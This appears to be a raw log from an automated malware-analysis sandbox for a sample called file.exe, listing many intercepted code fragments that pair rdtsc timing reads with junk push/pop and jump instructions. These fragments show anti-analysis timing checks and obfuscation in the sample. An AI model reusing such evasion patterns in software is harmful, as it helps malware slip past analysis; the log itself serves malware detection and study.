Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42EBA2 second address: 42EBC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513436h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F5E68513432h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42EBC6 second address: 42EBD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5E68E41F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42EBD0 second address: 42EBEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5E68513432h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42ED56 second address: 42ED5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434DDA second address: 434DE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5E6851342Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434DE8 second address: 434E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F5E68E41F20h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434E02 second address: 434E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4353A0 second address: 4353AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5E68E41F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4353AA second address: 4353B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4353B5 second address: 4353D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnc 00007F5E68E41F1Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jno 00007F5E68E41F16h 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4353D8 second address: 4353E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F5E68513432h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4353E5 second address: 4353EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4353EB second address: 4353EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4353EF second address: 435409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F5E68E41F24h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 435409 second address: 43540D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43956A second address: 439573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43985E second address: 43987A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F5E68513435h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43987A second address: 4398A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F1Bh 0x00000009 popad 0x0000000a jmp 00007F5E68E41F1Dh 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 jns 00007F5E68E41F16h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43FEFB second address: 43FF43 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5E68513430h 0x0000000f popad 0x00000010 push esi 0x00000011 push ecx 0x00000012 jmp 00007F5E68513432h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5E68513434h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43E9BB second address: 43E9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jbe 00007F5E68E41F16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43E9CA second address: 43E9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F5E6851342Fh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43E9E0 second address: 43E9EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5E68E41F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EC6A second address: 43EC70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43EDA0 second address: 43EDA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F014 second address: 43F023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 ja 00007F5E68513426h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F023 second address: 43F047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F23h 0x00000009 popad 0x0000000a push esi 0x0000000b ja 00007F5E68E41F16h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E10B6 second address: 3E10BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1155 second address: 3E115A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F2D5 second address: 43F2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F2DA second address: 43F2EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 jl 00007F5E68E41F18h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43F2EF second address: 43F2F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 445B6E second address: 445BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F5E68E41F1Bh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 jnc 00007F5E68E41F27h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446456 second address: 44645A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44645A second address: 44645E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446CF8 second address: 446D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68513434h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446D12 second address: 446D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F5E68E41F1Ah 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446FD0 second address: 446FD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 446FD6 second address: 446FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D181 second address: 44D189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D2EF second address: 44D302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D77E second address: 44D7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E6851342Fh 0x00000008 jmp 00007F5E68513435h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B988 second address: 45B98C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B98C second address: 45B998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5E68513426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B998 second address: 45B9A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5E68E41F16h 0x0000000a jp 00007F5E68E41F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B9A8 second address: 45B9AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B9AC second address: 45B9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B9B7 second address: 45B9BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39492A second address: 39492E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 459FD6 second address: 459FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B10B second address: 45B145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F26h 0x00000009 popad 0x0000000a jmp 00007F5E68E41F29h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B145 second address: 45B14A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45B14A second address: 45B14F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 462125 second address: 46213F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jc 00007F5E68513426h 0x0000000c popad 0x0000000d jmp 00007F5E6851342Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46213F second address: 462162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F5E68E41F16h 0x00000009 jmp 00007F5E68E41F28h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4622C9 second address: 4622CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4622CD second address: 4622D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4622D1 second address: 4622D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4622D7 second address: 4622E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4622E2 second address: 4622E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4622E9 second address: 462313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F5E68E41F22h 0x0000000e popad 0x0000000f jl 00007F5E68E41F22h 0x00000015 ja 00007F5E68E41F16h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4705BE second address: 4705E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push edx 0x00000009 jmp 00007F5E68513438h 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4705E3 second address: 4705ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4705ED second address: 47060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F5E68513426h 0x0000000d jmp 00007F5E68513434h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47449F second address: 4744A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4744A3 second address: 4744AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4744AE second address: 4744CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F5E68E41F1Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4744CA second address: 4744DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F5E6851342Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4744DA second address: 4744F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F5E68E41F25h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47910B second address: 479111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 479111 second address: 479128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007F5E68E41F18h 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F5E68E41F16h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 479128 second address: 47912C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481B94 second address: 481BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481BA1 second address: 481BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481BA5 second address: 481BCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F27h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F5E68E41F1Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481A07 second address: 481A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487E31 second address: 487E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487E3D second address: 487E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5E68513435h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487E5B second address: 487E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F25h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487E7D second address: 487E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487E81 second address: 487E8B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E68E41F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 487FD3 second address: 487FD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48816F second address: 488175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4883F0 second address: 488408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E6851342Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007F5E68513426h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488583 second address: 488587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488587 second address: 48858B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489144 second address: 489162 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Dh 0x00000007 jmp 00007F5E68E41F1Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489162 second address: 4891B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F5E6851342Fh 0x0000000c pushad 0x0000000d jbe 00007F5E68513426h 0x00000013 jp 00007F5E68513426h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c popad 0x0000001d push edi 0x0000001e jno 00007F5E68513438h 0x00000024 pushad 0x00000025 jmp 00007F5E6851342Dh 0x0000002a push edx 0x0000002b pop edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4891B4 second address: 4891BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498790 second address: 4987AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F5E68513434h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C37B second address: 49C39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5E68E41F16h 0x0000000a jmp 00007F5E68E41F25h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C39F second address: 49C3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C3A3 second address: 49C3A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C3A7 second address: 49C3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C3AD second address: 49C3B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C3B3 second address: 49C3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C3B7 second address: 49C3BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C3BB second address: 49C3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C3C1 second address: 49C3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE15 second address: 4AEE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE1B second address: 4AEE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
